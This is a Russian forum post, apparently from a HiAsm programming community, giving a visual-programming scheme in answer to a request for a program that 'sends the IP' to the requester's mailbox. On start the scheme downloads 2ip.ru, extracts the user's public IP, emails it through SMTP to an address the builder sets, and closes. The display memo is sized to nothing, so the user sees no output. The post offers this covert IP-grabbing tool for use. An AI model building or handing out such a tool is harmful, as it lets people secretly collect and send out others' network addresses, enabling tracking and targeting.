wolf295214 писал(а):
1.Сама прога для отправки ip
2.Само окно майла куда приходят ip!
Это?
1)отправка ip
2)на емаил тот что ты поставиш перед с боркой
Add(Memo,8885250,364,126)
{
Left=55
Top=45
Width=0
Height=0
ScrollBars=3
link(onChange,3490892:doSearch,[(408,132)(408,167)(352,167)(352,202)])
}
Add(MainForm,2953706,21,105)
{
Visible=1
link(onCreate,36996:doDownload,[])
}
Add(Charset,14858554,301,126)
{
Type=7
link(onCharset,8885250:doAdd,[])
}
Add(HTTP_Get,36996,147,119)
{
URL="http://2ip.ru"
link(onDownload,825475:doConvert,[])
}
Add(Convertor,825475,231,126)
{
Mode=11
link(onResult,14858554:doCharset,[])
}
Add(BlockFind,3490892,364,196)
{
IncludeBlock=1
StartBlock="<font color="#0033FF">"
EndBlock="</font>"
link(onSearch,4845074:doText,[])
link(Text,8885250:Text,[])
}
Add(Edit,4845074,434,196)
{
Left=80
Top=60
Width=180
link(onChange,1861972:doSend,[(478,202)(478,268)(394,268)(394,335)])
}
Add(SMTP,1861972,406,329)
{
Subject="Ip"
link(onSend,2953706:doClose,[(456,335)(456,233)(9,233)(9,132)])
link(Body,4845074:Text,[])
}
Add(LED,3662407,581,497)
{
Left=110
Top=25
Width=80
Height=20
Shape=1
}
Add(Edit,31284,420,434)
{
Left=45
Top=5
Width=145
Height=21
Font=[Arial,8,0,0,1]
Text="ip"
}
Add(Ping,11689984,420,504)
{
Name=""
Point(Time)
Point(ByteCount)
link(onFind,3662407:doOn,[(562,510)(562,517)])
link(onFailed,3662407:doOff,[(562,517)(562,510)])
link(Name,31284:Text,[])
}
Add(Button,13442,364,504)
{
Left=45
Top=25
Width=65
Font=[Arial,8,0,0,1]
Caption="Проверка"
link(onClick,11689984:doPing,[])
}